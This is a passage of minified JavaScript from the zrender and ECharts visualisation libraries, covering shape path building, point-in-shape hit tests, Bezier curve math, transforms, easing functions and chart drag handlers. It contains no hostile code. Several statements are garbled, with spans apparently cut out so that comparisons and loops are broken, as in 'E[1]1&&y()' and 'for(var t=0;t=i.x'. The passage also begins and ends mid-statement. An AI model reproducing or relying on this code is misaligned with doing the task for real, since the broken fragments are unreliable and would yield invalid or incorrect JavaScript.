V;i+n>l&&(V=i+n,i*=l/V,n*=l/V),a+o>l&&(V=a+o,a*=l/V,o*=l/V),n+a>h&&(V=n+a,n*=h/V,a*=h/V),i+o>h&&(V=i+o,i*=h/V,o*=h/V),e.moveTo(r+i,s),e.lineTo(r+l-n,s),0!==n&&e.quadraticCurveTo(r+l,s,r+l,s+n),e.lineTo(r+l,s+h-a),0!==a&&e.quadraticCurveTo(r+l,s+h,r+l-a,s+h),e.lineTo(r+o,s+h),0!==o&&e.quadraticCurveTo(r,s+h,r,s+h-o),e.lineTo(r,s+i),0!==i&&e.quadraticCurveTo(r,s,r+i,s)},buildPath:function(e,t){t.radius?this._buildRadiusPath(e,t):(e.moveTo(t.x,t.y),e.lineTo(t.x+t.width,t.y),e.lineTo(t.x+t.width,t.y+t.height),e.lineTo(t.x,t.y+t.height),e.lineTo(t.x,t.y)),e.closePath()},getRect:function(e){if(e.__rect)return e.__rect;var t;return t="stroke"==e.brushType||"fill"==e.brushType?e.lineWidth||1:0,e.__rect={x:Math.round(e.x-t/2),y:Math.round(e.y-t/2),width:e.width+t,height:e.height+t},e.__rect}},e("../tool/util").inherits(i,t),i}),i("zrender/tool/area",["require","./util","./curve"],function(e){"use strict";function t(e){return e%=C,0>e&&(e+=C),e}function i(e,t,i,o){if(!t||!e)return!1;var r=e.type;L=L||W.getContext();var s=n(e,t,i,o);if("undefined"!=typeof s)return s;if(e.buildPath&&L.isPointInPath)return a(e,L,t,i,o);switch(r){case"ellipse":return!0;case"trochoid":var l="out"==t.location?t.r1+t.r2+t.d:t.r1-t.r2+t.d;return d(t,i,o,l);case"rose":return d(t,i,o,t.maxr);default:return!1}}function n(e,t,i,n){var a=e.type;switch(a){case"bezier-curve":return"undefined"==typeof t.cpX2?l(t.xStart,t.yStart,t.cpX1,t.cpY1,t.xEnd,t.yEnd,t.lineWidth,i,n):s(t.xStart,t.yStart,t.cpX1,t.cpY1,t.cpX2,t.cpY2,t.xEnd,t.yEnd,t.lineWidth,i,n);case"line":return r(t.xStart,t.yStart,t.xEnd,t.yEnd,t.lineWidth,i,n);case"polyline":return m(t.pointList,t.lineWidth,i,n);case"ring":return V(t.x,t.y,t.r0,t.r,i,n);case"circle":return d(t.x,t.y,t.r,i,n);case"sector":var o=t.startAngle*Math.PI/180,h=t.endAngle*Math.PI/180;return t.clockWise||(o=-o,h=-h),p(t.x,t.y,t.r0,t.r,o,h,!t.clockWise,i,n);case"path":return t.pathArray&&k(t.pathArray,Math.max(t.lineWidth,5),t.brushType,i,n);case"polygon":case"star":case"isogon":return c(t.pointList,i,n);case"text":var u=t.__rect||e.getRect(t);return U(u.x,u.y,u.width,u.height,i,n);case"rectangle":case"image":return U(t.x,t.y,t.width,t.height,i,n)}}function a(e,t,i,n,a){return t.beginPath(),e.buildPath(t,i),t.closePath(),t.isPointInPath(n,a)}function o(e,t,n,a){return!i(e,t,n,a)}function r(e,t,i,n,a,o,r){if(0===a)return!1;var s=Math.max(a,5),l=0,h=e;if(r>t+s&&r>n+s||t-s>r&&n-s>r||o>e+s&&o>i+s||e-s>o&&i-s>o)return!1;if(e===i)return Math.abs(o-e)<=s/2;l=(t-n)/(e-i),h=(e*n-i*t)/(e-i);var m=l*o-r+h,V=m*m/(l*l+1);return s/2*s/2>=V}function s(e,t,i,n,a,o,r,s,l,h,m){if(0===l)return!1;var V=Math.max(l,5);if(m>t+V&&m>n+V&&m>o+V&&m>s+V||t-V>m&&n-V>m&&o-V>m&&s-V>m||h>e+V&&h>i+V&&h>a+V&&h>r+V||e-V>h&&i-V>h&&a-V>h&&r-V>h)return!1;var U=X.cubicProjectPoint(e,t,i,n,a,o,r,s,h,m,null);return V/2>=U}function l(e,t,i,n,a,o,r,s,l){if(0===r)return!1;var h=Math.max(r,5);if(l>t+h&&l>n+h&&l>o+h||t-h>l&&n-h>l&&o-h>l||s>e+h&&s>i+h&&s>a+h||e-h>s&&i-h>s&&a-h>s)return!1;var m=X.quadraticProjectPoint(e,t,i,n,a,o,s,l,null);return h/2>=m}function h(e,i,n,a,o,r,s,l,h){if(0===s)return!1;var m=Math.max(s,5);l-=e,h-=i;var V=Math.sqrt(l*l+h*h);if(V-m>n||n>V+m)return!1;if(Math.abs(a-o)>=C)return!0;if(r){var U=a;a=t(o),o=t(U)}else a=t(a),o=t(o);a>o&&(o+=C);var d=Math.atan2(h,l);return 0>d&&(d+=C),d>=a&&o>=d||d+C>=a&&o>=d+C}function m(e,t,i,n){for(var t=Math.max(t,10),a=0,o=e.length-1;o>a;a++){var s=e[a][0],l=e[a][1],h=e[a+1][0],m=e[a+1][1];if(r(s,l,h,m,t,i,n))return!0}return!1}function V(e,t,i,n,a,o){var r=(a-e)*(a-e)+(o-t)*(o-t);return n*n>r&&r>i*i}function U(e,t,i,n,a,o){return a>=e&&e+i>=a&&o>=t&&t+n>=o}function d(e,t,i,n,a){return i*i>(n-e)*(n-e)+(a-t)*(a-t)}function p(e,t,i,n,a,o,r,s,l){return h(e,t,(i+n)/2,a,o,r,n-i,s,l)}function c(e,t,i){for(var n=e.length,a=0,o=0,r=n-1;n>o;o++){var s=e[r][0],l=e[r][1],h=e[o][0],m=e[o][1];a+=u(s,l,h,m,t,i),r=o}return 0!==a}function u(e,t,i,n,a,o){if(o>t&&o>n||t>o&&n>o)return 0;if(n==t)return 0;var r=t>n?1:-1,s=(o-t)/(n-t),l=s*(i-e)+e;return l>a?r:0}function y(){var e=E[0];E[0]=E[1],E[1]=e}function g(e,t,i,n,a,o,r,s,l,h){if(h>t&&h>n&&h>o&&h>s||t>h&&n>h&&o>h&&s>h)return 0;var m=X.cubicRootAt(t,n,o,s,h,S);if(0===m)return 0;for(var V,U,d=0,p=-1,c=0;m>c;c++){var u=S[c],g=X.cubicAt(e,i,a,r,u);l>g||(0>p&&(p=X.cubicExtrema(t,n,o,s,E),E[1]1&&y(),V=X.cubicAt(t,n,o,s,E[0]),p>1&&(U=X.cubicAt(t,n,o,s,E[1]))),d+=2==p?uV?1:-1:uU?1:-1:U>s?1:-1:uV?1:-1:V>s?1:-1)}return d}function b(e,t,i,n,a,o,r,s){if(s>t&&s>n&&s>o||t>s&&n>s&&o>s)return 0;var l=X.quadraticRootAt(t,n,o,s,S);if(0===l)return 0;var h=X.quadraticExtremum(t,n,o);if(h>=0&&1>=h){for(var m=0,V=X.quadraticAt(t,n,o,h),U=0;l>U;U++){var d=X.quadraticAt(e,i,a,S[U]);r>d||(m+=S[U]V?1:-1:V>o?1:-1)}return m}var d=X.quadraticAt(e,i,a,S[0]);return r>d?0:t>o?1:-1}function f(e,i,n,a,o,r,s,l){if(l-=i,l>n||-n>l)return 0;var h=Math.sqrt(n*n-l*l);if(S[0]=-h,S[1]=h,Math.abs(a-o)>=C){a=0,o=C;var m=r?1:-1;return s>=S[0]+e&&s<=S[1]+e?m:0}if(r){var h=a;a=t(o),o=t(h)}else a=t(a),o=t(o);a>o&&(o+=C);for(var V=0,U=0;2>U;U++){var d=S[U];if(d+e>s){var p=Math.atan2(l,d),m=r?1:-1;0>p&&(p=C+p),(p>=a&&o>=p||p+C>=a&&o>=p+C)&&(p>Math.PI/2&&p<1.5*Math.PI&&(m=-m),V+=m)}}return V}function k(e,t,i,n,a){var o=0,m=0,V=0,U=0,d=0,p=!0,c=!0;i=i||"fill";for(var y="stroke"===i||"both"===i,k="fill"===i||"both"===i,x=0;x0&&(k&&(o+=u(m,V,U,d,n,a)),0!==o))return!0;U=L[L.length-2],d=L[L.length-1],p=!1,c&&"A"!==_.command&&(c=!1,m=U,V=d)}switch(_.command){case"M":m=L[0],V=L[1];break;case"L":if(y&&r(m,V,L[0],L[1],t,n,a))return!0;k&&(o+=u(m,V,L[0],L[1],n,a)),m=L[0],V=L[1];break;case"C":if(y&&s(m,V,L[0],L[1],L[2],L[3],L[4],L[5],t,n,a))return!0;k&&(o+=g(m,V,L[0],L[1],L[2],L[3],L[4],L[5],n,a)),m=L[4],V=L[5];break;case"Q":if(y&&l(m,V,L[0],L[1],L[2],L[3],t,n,a))return!0;k&&(o+=b(m,V,L[0],L[1],L[2],L[3],n,a)),m=L[2],V=L[3];break;case"A":var W=L[0],X=L[1],v=L[2],w=L[3],K=L[4],I=L[5],J=Math.cos(K)*v+W,C=Math.sin(K)*w+X;c?(c=!1,U=J,d=C):o+=u(m,V,J,C);var S=(n-W)*w/v+W;if(y&&h(W,X,w,K,K+I,1-L[7],t,S,a))return!0;k&&(o+=f(W,X,w,K,K+I,1-L[7],S,a)),m=Math.cos(K+I)*v+W,V=Math.sin(K+I)*w+X;break;case"z":if(y&&r(m,V,U,d,t,n,a))return!0;p=!0}}return k&&(o+=u(m,V,U,d,n,a)),0!==o}function x(e,t){var i=e+":"+t;if(v[i])return v[i];L=L||W.getContext(),L.save(),t&&(L.font=t),e=(e+"").split("\n");for(var n=0,a=0,o=e.length;o>a;a++)n=Math.max(L.measureText(e[a]).width,n);return L.restore(),v[i]=n,++K>J&&(K=0,v={}),n}function _(e,t){var i=e+":"+t;if(w[i])return w[i];L=L||W.getContext(),L.save(),t&&(L.font=t),e=(e+"").split("\n");var n=(L.measureText("国").width+2)*e.length;return L.restore(),w[i]=n,++I>J&&(I=0,w={}),n}var L,W=e("./util"),X=e("./curve"),v={},w={},K=0,I=0,J=5e3,C=2*Math.PI,S=[-1,-1,-1],E=[-1,-1];return{isInside:i,isOutside:o,getTextWidth:x,getTextHeight:_,isInsidePath:k,isInsidePolygon:c,isInsideSector:p,isInsideCircle:d,isInsideLine:r,isInsideRect:U,isInsidePolyline:m,isInsideCubicStroke:s,isInsideQuadraticStroke:l}}),i("zrender/shape/Base",["require","../tool/matrix","../tool/guid","../tool/util","../tool/log","../mixin/Transformable","../mixin/Eventful","../tool/area","../tool/color"],function(e){function t(t,n,a,o,r,s,l){r&&(t.font=r),t.textAlign=s,t.textBaseline=l;var h=i(n,a,o,r,s,l);n=(n+"").split("\n");var m=e("../tool/area").getTextHeight("国",r);switch(l){case"top":o=h.y;break;case"bottom":o=h.y+m;break;default:o=h.y+m/2}for(var V=0,U=n.length;U>V;V++)t.fillText(n[V],a,o),o+=m}function i(t,i,n,a,o,r){var s=e("../tool/area"),l=s.getTextWidth(t,a),h=s.getTextHeight("国",a);switch(t=(t+"").split("\n"),o){case"end":case"right":i-=l;break;case"center":i-=l/2}switch(r){case"top":break;case"bottom":n-=h*t.length;break;default:n-=h*t.length/2}return{x:i,y:n,width:l,height:h*t.length}}var n=window.G_vmlCanvasManager,a=e("../tool/matrix"),o=e("../tool/guid"),r=e("../tool/util"),s=e("../tool/log"),l=e("../mixin/Transformable"),h=e("../mixin/Eventful"),m=function(e){e=e||{},this.id=e.id||o();for(var t in e)this[t]=e[t];this.style=this.style||{},this.highlightStyle=this.highlightStyle||null,this.parent=null,this.__dirty=!0,this.__clipShapes=[],l.call(this),h.call(this)};m.prototype.invisible=!1,m.prototype.ignore=!1,m.prototype.zlevel=0,m.prototype.draggable=!1,m.prototype.clickable=!1,m.prototype.hoverable=!0,m.prototype.z=0,m.prototype.brush=function(e,t){var i=this.beforeBrush(e,t);switch(e.beginPath(),this.buildPath(e,i),i.brushType){case"both":e.fill();case"stroke":i.lineWidth>0&&e.stroke();break;default:e.fill()}this.drawText(e,i,this.style),this.afterBrush(e)},m.prototype.beforeBrush=function(e,t){var i=this.style;return this.brushTypeOnly&&(i.brushType=this.brushTypeOnly),t&&(i=this.getHighlightStyle(i,this.highlightStyle||{},this.brushTypeOnly)),"stroke"==this.brushTypeOnly&&(i.strokeColor=i.strokeColor||i.color),e.save(),this.doClip(e),this.setContext(e,i),this.setTransform(e),i},m.prototype.afterBrush=function(e){e.restore()};var V=[["color","fillStyle"],["strokeColor","strokeStyle"],["opacity","globalAlpha"],["lineCap","lineCap"],["lineJoin","lineJoin"],["miterLimit","miterLimit"],["lineWidth","lineWidth"],["shadowBlur","shadowBlur"],["shadowColor","shadowColor"],["shadowOffsetX","shadowOffsetX"],["shadowOffsetY","shadowOffsetY"]];m.prototype.setContext=function(e,t){for(var i=0,n=V.length;n>i;i++){var a=V[i][0],o=t[a],r=V[i][1];"undefined"!=typeof o&&(e[r]=o)}};var U=a.create();return m.prototype.doClip=function(e){if(this.__clipShapes&&!n)for(var t=0;t=i.x&&e<=i.x+i.width&&t>=i.y&&t<=i.y+i.height},m.prototype.drawText=function(e,i,n){if("undefined"!=typeof i.text&&i.text!==!1){var a=i.textColor||i.color||i.strokeColor;e.fillStyle=a;var o,r,s,l,h=10,m=i.textPosition||this.textPosition||"top";switch(m){case"inside":case"top":case"bottom":case"left":case"right":if(this.getRect){var V=(n||i).__rect||this.getRect(n||i);switch(m){case"inside":s=V.x+V.width/2,l=V.y+V.height/2,o="center",r="middle","stroke"!=i.brushType&&a==i.color&&(e.fillStyle="#fff");break;case"left":s=V.x-h,l=V.y+V.height/2,o="end",r="middle";break;case"right":s=V.x+V.width+h,l=V.y+V.height/2,o="start",r="middle";break;case"top":s=V.x+V.width/2,l=V.y-h,o="center",r="bottom";break;case"bottom":s=V.x+V.width/2,l=V.y+V.height+h,o="center",r="top"}}break;case"start":case"end":var U=i.pointList||[[i.xStart||0,i.yStart||0],[i.xEnd||0,i.yEnd||0]],d=U.length;if(2>d)return;var p,c,u,y;switch(m){case"start":p=U[1][0],c=U[0][0],u=U[1][1],y=U[0][1];break;case"end":p=U[d-2][0],c=U[d-1][0],u=U[d-2][1],y=U[d-1][1]}s=c,l=y;var g=Math.atan((u-y)/(c-p))/Math.PI*180;0>c-p?g+=180:0>u-y&&(g+=360),h=5,g>=30&&150>=g?(o="center",r="bottom",l-=h):g>150&&210>g?(o="right",r="middle",s-=h):g>=210&&330>=g?(o="center",r="top",l+=h):(o="left",r="middle",s+=h);break;case"specific":s=i.textX||0,l=i.textY||0,o="start",r="middle"}null!=s&&null!=l&&t(e,i.text,s,l,i.textFont,i.textAlign||o,i.textBaseline||r)}},m.prototype.modSelf=function(){this.__dirty=!0,this.style&&(this.style.__rect=null),this.highlightStyle&&(this.highlightStyle.__rect=null)},m.prototype.isSilent=function(){return!(this.hoverable||this.draggable||this.clickable||this.onmousemove||this.onmouseover||this.onmouseout||this.onmousedown||this.onmouseup||this.onclick||this.ondragenter||this.ondragover||this.ondragleave||this.ondrop)},r.merge(m.prototype,l.prototype,!0),r.merge(m.prototype,h.prototype,!0),m}),i("zrender/tool/curve",["require","./vector"],function(e){function t(e){return e>-u&&u>e}function i(e){return e>u||-u>e}function n(e,t,i,n,a){var o=1-a;return o*o*(o*e+3*a*t)+a*a*(a*n+3*o*i)}function a(e,t,i,n,a){var o=1-a;return 3*(((t-e)*o+2*(i-t)*a)*o+(n-i)*a*a)}function o(e,i,n,a,o,r){var s=a+3*(i-n)-e,l=3*(n-2*i+e),h=3*(i-e),m=e-o,V=l*l-3*s*h,U=l*h-9*s*m,d=h*h-3*l*m,p=0;if(t(V)&&t(U))if(t(l))r[0]=0;else{var c=-h/l;c>=0&&1>=c&&(r[p++]=c)}else{var u=U*U-4*V*d;if(t(u)){var b=U/V,c=-l/s+b,f=-b/2;c>=0&&1>=c&&(r[p++]=c),f>=0&&1>=f&&(r[p++]=f)}else if(u>0){var k=Math.sqrt(u),x=V*l+1.5*s*(-U+k),_=V*l+1.5*s*(-U-k);x=0>x?-Math.pow(-x,g):Math.pow(x,g),_=0>_?-Math.pow(-_,g):Math.pow(_,g);var c=(-l-(x+_))/(3*s);c>=0&&1>=c&&(r[p++]=c)}else{var L=(2*V*l-3*s*U)/(2*Math.sqrt(V*V*V)),W=Math.acos(L)/3,X=Math.sqrt(V),v=Math.cos(W),c=(-l-2*X*v)/(3*s),f=(-l+X*(v+y*Math.sin(W)))/(3*s),w=(-l+X*(v-y*Math.sin(W)))/(3*s);c>=0&&1>=c&&(r[p++]=c),f>=0&&1>=f&&(r[p++]=f),w>=0&&1>=w&&(r[p++]=w)}}return p}function r(e,n,a,o,r){var s=6*a-12*n+6*e,l=9*n+3*o-3*e-9*a,h=3*n-3*e,m=0;if(t(l)){if(i(s)){var V=-h/s;V>=0&&1>=V&&(r[m++]=V)}}else{var U=s*s-4*l*h;if(t(U))r[0]=-s/(2*l);else if(U>0){var d=Math.sqrt(U),V=(-s+d)/(2*l),p=(-s-d)/(2*l);V>=0&&1>=V&&(r[m++]=V),p>=0&&1>=p&&(r[m++]=p)}}return m}function s(e,t,i,n,a,o){var r=(t-e)*a+e,s=(i-t)*a+t,l=(n-i)*a+i,h=(s-r)*a+r,m=(l-s)*a+s,V=(m-h)*a+h;o[0]=e,o[1]=r,o[2]=h,o[3]=V,o[4]=V,o[5]=m,o[6]=l,o[7]=n}function l(e,t,i,a,o,r,s,l,h,m,V){var U,d=.005,p=1/0;b[0]=h,b[1]=m;for(var y=0;1>y;y+=.05){f[0]=n(e,i,o,s,y),f[1]=n(t,a,r,l,y);var g=c.distSquare(b,f);p>g&&(U=y,p=g)}p=1/0;for(var x=0;32>x&&!(u>d);x++){var _=U-d,L=U+d;f[0]=n(e,i,o,s,_),f[1]=n(t,a,r,l,_);var g=c.distSquare(f,b);if(_>=0&&p>g)U=_,p=g;else{k[0]=n(e,i,o,s,L),k[1]=n(t,a,r,l,L);var W=c.distSquare(k,b);1>=L&&p>W?(U=L,p=W):d*=.5}}return V&&(V[0]=n(e,i,o,s,U),V[1]=n(t,a,r,l,U)),Math.sqrt(p)}function h(e,t,i,n){var a=1-n;return a*(a*e+2*n*t)+n*n*i}function m(e,t,i,n){return 2*((1-n)*(t-e)+n*(i-t))}function V(e,n,a,o,r){var s=e-2*n+a,l=2*(n-e),h=e-o,m=0;if(t(s)){if(i(l)){var V=-h/l;V>=0&&1>=V&&(r[m++]=V)}}else{var U=l*l-4*s*h;if(t(U)){var V=-l/(2*s);V>=0&&1>=V&&(r[m++]=V)}else if(U>0){var d=Math.sqrt(U),V=(-l+d)/(2*s),p=(-l-d)/(2*s);V>=0&&1>=V&&(r[m++]=V),p>=0&&1>=p&&(r[m++]=p)}}return m}function U(e,t,i){var n=e+i-2*t;return 0===n?.5:(e-t)/n}function d(e,t,i,n,a){var o=(t-e)*n+e,r=(i-t)*n+t,s=(r-o)*n+o;a[0]=e,a[1]=o,a[2]=s,a[3]=s,a[4]=r,a[5]=i}function p(e,t,i,n,a,o,r,s,l){var m,V=.005,U=1/0;b[0]=r,b[1]=s;for(var d=0;1>d;d+=.05){f[0]=h(e,i,a,d),f[1]=h(t,n,o,d);var p=c.distSquare(b,f);U>p&&(m=d,U=p)}U=1/0;for(var y=0;32>y&&!(u>V);y++){var g=m-V,x=m+V;f[0]=h(e,i,a,g),f[1]=h(t,n,o,g);var p=c.distSquare(f,b);if(g>=0&&U>p)m=g,U=p;else{k[0]=h(e,i,a,x),k[1]=h(t,n,o,x);var _=c.distSquare(k,b);1>=x&&U>_?(m=x,U=_):V*=.5}}return l&&(l[0]=h(e,i,a,m),l[1]=h(t,n,o,m)),Math.sqrt(U)}var c=e("./vector"),u=1e-4,y=Math.sqrt(3),g=1/3,b=c.create(),f=c.create(),k=c.create();return{cubicAt:n,cubicDerivativeAt:a,cubicRootAt:o,cubicExtrema:r,cubicSubdivide:s,cubicProjectPoint:l,quadraticAt:h,quadraticDerivativeAt:m,quadraticRootAt:V,quadraticExtremum:U,quadraticSubdivide:d,quadraticProjectPoint:p}}),i("zrender/mixin/Transformable",["require","../tool/matrix","../tool/vector"],function(e){"use strict";function t(e){return e>-s&&s>e}function i(e){return e>s||-s>e}var n=e("../tool/matrix"),a=e("../tool/vector"),o=[0,0],r=n.translate,s=5e-5,l=function(){this.position||(this.position=[0,0]),"undefined"==typeof this.rotation&&(this.rotation=[0,0,0]),this.scale||(this.scale=[1,1,0,0]),this.needLocalTransform=!1,this.needTransform=!1};return l.prototype={constructor:l,updateNeedTransform:function(){this.needLocalTransform=i(this.rotation[0])||i(this.position[0])||i(this.position[1])||i(this.scale[0]-1)||i(this.scale[1]-1)},updateTransform:function(){this.updateNeedTransform();var e=this.parent&&this.parent.needTransform;if(this.needTransform=this.needLocalTransform||e,this.needTransform){var t=this.transform||n.create();if(n.identity(t),this.needLocalTransform){var a=this.scale;if(i(a[0])||i(a[1])){o[0]=-a[2]||0,o[1]=-a[3]||0;var s=i(o[0])||i(o[1]);s&&r(t,t,o),n.scale(t,t,a),s&&(o[0]=-o[0],o[1]=-o[1],r(t,t,o))}if(this.rotation instanceof Array){if(0!==this.rotation[0]){o[0]=-this.rotation[1]||0,o[1]=-this.rotation[2]||0;var s=i(o[0])||i(o[1]);s&&r(t,t,o),n.rotate(t,t,this.rotation[0]),s&&(o[0]=-o[0],o[1]=-o[1],r(t,t,o))}}else 0!==this.rotation&&n.rotate(t,t,this.rotation);(i(this.position[0])||i(this.position[1]))&&r(t,t,this.position)}e&&(this.needLocalTransform?n.mul(t,this.parent.transform,t):n.copy(t,this.parent.transform)),this.transform=t,this.invTransform=this.invTransform||n.create(),n.invert(this.invTransform,t)}},setTransform:function(e){if(this.needTransform){var t=this.transform;e.transform(t[0],t[1],t[2],t[3],t[4],t[5])}},lookAt:function(){var e=a.create();return function(i){this.transform||(this.transform=n.create());var o=this.transform;if(a.sub(e,i,this.position),!t(e[0])||!t(e[1])){a.normalize(e,e);var r=this.scale;o[2]=e[0]*r[1],o[3]=e[1]*r[1],o[0]=e[1]*r[0],o[1]=-e[0]*r[0],o[4]=this.position[0],o[5]=this.position[1],this.decomposeTransform()}}}(),decomposeTransform:function(){if(this.transform){var e=this.transform,t=e[0]*e[0]+e[1]*e[1],n=this.position,a=this.scale,o=this.rotation;i(t-1)&&(t=Math.sqrt(t));var r=e[2]*e[2]+e[3]*e[3];i(r-1)&&(r=Math.sqrt(r)),n[0]=e[4],n[1]=e[5],a[0]=t,a[1]=r,a[2]=a[3]=0,o[0]=Math.atan2(-e[1]/r,e[0]/t),o[1]=o[2]=0}},transformCoordToLocal:function(e,t){var i=[e,t];return this.needTransform&&this.invTransform&&a.applyTransform(i,i,this.invTransform),i}},l}),i("zrender/Group",["require","./tool/guid","./tool/util","./mixin/Transformable","./mixin/Eventful"],function(e){var t=e("./tool/guid"),i=e("./tool/util"),n=e("./mixin/Transformable"),a=e("./mixin/Eventful"),o=function(e){e=e||{},this.id=e.id||t();for(var i in e)this[i]=e[i];this.type="group",this.clipShape=null,this._children=[],this._storage=null,this.__dirty=!0,n.call(this),a.call(this)};return o.prototype.ignore=!1,o.prototype.children=function(){return this._children.slice()},o.prototype.childAt=function(e){return this._children[e]},o.prototype.addChild=function(e){e!=this&&e.parent!=this&&(e.parent&&e.parent.removeChild(e),this._children.push(e),e.parent=this,this._storage&&this._storage!==e._storage&&(this._storage.addToMap(e),e instanceof o&&e.addChildrenToStorage(this._storage)))},o.prototype.removeChild=function(e){var t=i.indexOf(this._children,e);t>=0&&this._children.splice(t,1),e.parent=null,this._storage&&(this._storage.delFromMap(e.id),e instanceof o&&e.delChildrenFromStorage(this._storage))},o.prototype.clearChildren=function(){for(var e=0;et)){t=Math.min(t,1);var n="string"==typeof this.easing?i[this.easing]:this.easing,a="function"==typeof n?n(t):t;return this.fire("frame",a),1==t?this.loop?(this.restart(),"restart"):(this.__needsRemove=!0,"destroy"):null}},restart:function(){var e=(new Date).getTime(),t=(e-this._startTime)%this._life;this._startTime=(new Date).getTime()-t+this.gap,this.__needsRemove=!1},fire:function(e,t){for(var i=0,n=this._targetPool.length;n>i;i++)this["on"+e]&&this["on"+e](this._targetPool[i],t)},constructor:t},t}),i("zrender/animation/easing",[],function(){var e={Linear:function(e){return e},QuadraticIn:function(e){return e*e},QuadraticOut:function(e){return e*(2-e)},QuadraticInOut:function(e){return(e*=2)<1?.5*e*e:-.5*(--e*(e-2)-1)},CubicIn:function(e){return e*e*e},CubicOut:function(e){return--e*e*e+1},CubicInOut:function(e){return(e*=2)<1?.5*e*e*e:.5*((e-=2)*e*e+2)},QuarticIn:function(e){return e*e*e*e},QuarticOut:function(e){return 1- --e*e*e*e},QuarticInOut:function(e){return(e*=2)<1?.5*e*e*e*e:-.5*((e-=2)*e*e*e-2)},QuinticIn:function(e){return e*e*e*e*e},QuinticOut:function(e){return--e*e*e*e*e+1},QuinticInOut:function(e){return(e*=2)<1?.5*e*e*e*e*e:.5*((e-=2)*e*e*e*e+2)},SinusoidalIn:function(e){return 1-Math.cos(e*Math.PI/2)},SinusoidalOut:function(e){return Math.sin(e*Math.PI/2)},SinusoidalInOut:function(e){return.5*(1-Math.cos(Math.PI*e))},ExponentialIn:function(e){return 0===e?0:Math.pow(1024,e-1)},ExponentialOut:function(e){return 1===e?1:1-Math.pow(2,-10*e)},ExponentialInOut:function(e){return 0===e?0:1===e?1:(e*=2)<1?.5*Math.pow(1024,e-1):.5*(-Math.pow(2,-10*(e-1))+2)},CircularIn:function(e){return 1-Math.sqrt(1-e*e)},CircularOut:function(e){return Math.sqrt(1- --e*e)},CircularInOut:function(e){return(e*=2)<1?-.5*(Math.sqrt(1-e*e)-1):.5*(Math.sqrt(1-(e-=2)*e)+1)},ElasticIn:function(e){var t,i=.1,n=.4;return 0===e?0:1===e?1:(!i||1>i?(i=1,t=n/4):t=n*Math.asin(1/i)/(2*Math.PI),-(i*Math.pow(2,10*(e-=1))*Math.sin(2*(e-t)*Math.PI/n)))},ElasticOut:function(e){var t,i=.1,n=.4;return 0===e?0:1===e?1:(!i||1>i?(i=1,t=n/4):t=n*Math.asin(1/i)/(2*Math.PI),i*Math.pow(2,-10*e)*Math.sin(2*(e-t)*Math.PI/n)+1)},ElasticInOut:function(e){var t,i=.1,n=.4;return 0===e?0:1===e?1:(!i||1>i?(i=1,t=n/4):t=n*Math.asin(1/i)/(2*Math.PI),(e*=2)<1?-.5*i*Math.pow(2,10*(e-=1))*Math.sin(2*(e-t)*Math.PI/n):i*Math.pow(2,-10*(e-=1))*Math.sin(2*(e-t)*Math.PI/n)*.5+1)},BackIn:function(e){var t=1.70158;return e*e*((t+1)*e-t)},BackOut:function(e){var t=1.70158;return--e*e*((t+1)*e+t)+1},BackInOut:function(e){var t=2.5949095;return(e*=2)<1?.5*e*e*((t+1)*e-t):.5*((e-=2)*e*((t+1)*e+t)+2)},BounceIn:function(t){return 1-e.BounceOut(1-t)},BounceOut:function(e){return 1/2.75>e?7.5625*e*e:2/2.75>e?7.5625*(e-=1.5/2.75)*e+.75:2.5/2.75>e?7.5625*(e-=2.25/2.75)*e+.9375:7.5625*(e-=2.625/2.75)*e+.984375},BounceInOut:function(t){return.5>t?.5*e.BounceIn(2*t):.5*e.BounceOut(2*t-1)+.5}};return e}),i("echarts/chart/base",["require","zrender/shape/Image","../util/shape/Icon","../util/shape/MarkLine","../util/shape/Symbol","zrender/shape/Polyline","zrender/shape/ShapeBundle","../config","../util/ecData","../util/ecAnimation","../util/ecEffect","../util/accMath","../component/base","../layout/EdgeBundling","zrender/tool/util","zrender/tool/area"],function(e){function t(e){return null!=e.x&&null!=e.y}function i(e,t,i,n,a){p.call(this,e,t,i,n,a);var o=this;this.selectedMap={},this.lastShapeList=[],this.shapeHandler={onclick:function(){o.isClick=!0},ondragover:function(e){var t=e.target;t.highlightStyle=t.highlightStyle||{};var i=t.highlightStyle,n=i.brushTyep,a=i.strokeColor,r=i.lineWidth;i.brushType="stroke",i.strokeColor=o.ecTheme.calculableColor||h.calculableColor,i.lineWidth="icon"===t.type?30:10,o.zr.addHoverShape(t),setTimeout(function(){i&&(i.brushType=n,i.strokeColor=a,i.lineWidth=r)},20)},ondrop:function(e){null!=m.get(e.dragged,"data")&&(o.isDrop=!0)},ondragend:function(){o.isDragend=!0}}}var n=e("zrender/shape/Image"),a=e("../util/shape/Icon"),o=e("../util/shape/MarkLine"),r=e("../util/shape/Symbol"),s=e("zrender/shape/Polyline"),l=e("zrender/shape/ShapeBundle"),h=e("../config"),m=e("../util/ecData"),V=e("../util/ecAnimation"),U=e("../util/ecEffect"),d=e("../util/accMath"),p=e("../component/base"),c=e("../layout/EdgeBundling"),u=e("zrender/tool/util"),y=e("zrender/tool/area");return i.prototype={setCalculable:function(e){return e.dragEnableTime=this.ecTheme.DRAG_ENABLE_TIME||h.DRAG_ENABLE_TIME,e.ondragover=this.shapeHandler.ondragover,e.ondragend=this.shapeHandler.ondragend,e.ondrop=this.shapeHandler.ondrop,e},ondrop:function(e,t){if(this.isDrop&&e.target&&!t.dragIn){var i,n=e.target,a=e.dragged,o=m.get(n,"seriesIndex"),r=m.get(n,"dataIndex"),s=this.series,l=this.component.legend;if(-1===r){if(m.get(a,"seriesIndex")==o)return t.dragOut=t.dragIn=t.needRefresh=!0,void(this.isDrop=!1);i={value:m.get(a,"value"),name:m.get(a,"name")},this.type===h.CHART_TYPE_PIE&&i.value<0&&(i.value=0);for(var V=!1,U=s[o].data,p=0,c=U.length;c>p;p++)U[p].name===i.name&&"-"===U[p].value&&(s[o].data[p].value=i.value,V=!0);!V&&s[o].data.push(i),l&&l.add(i.name,a.style.color||a.style.strokeColor)}else i=s[o].data[r]||"-",null!=i.value?(s[o].data[r].value="-"!=i.value?d.accAdd(s[o].data[r].value,m.get(a,"value")):m.get(a,"value"),(this.type===h.CHART_TYPE_FUNNEL||this.type===h.CHART_TYPE_PIE)&&(l&&1===l.getRelatedAmount(i.name)&&this.component.legend.del(i.name),i.name+=this.option.nameConnector+m.get(a,"name"),l&&l.add(i.name,a.style.color||a.style.strokeColor))):s[o].data[r]="-"!=i?d.accAdd(s[o].data[r],m.get(a,"value")):m.get(a,"value");t.dragIn=t.dragIn||!0,this.isDrop=!1;var u=this;setTimeout(function(){u.zr.trigger("mousemove",e.event)},300)}},ondragend:function(e,t){if(this.isDragend&&e.target&&!t.dragOut){var 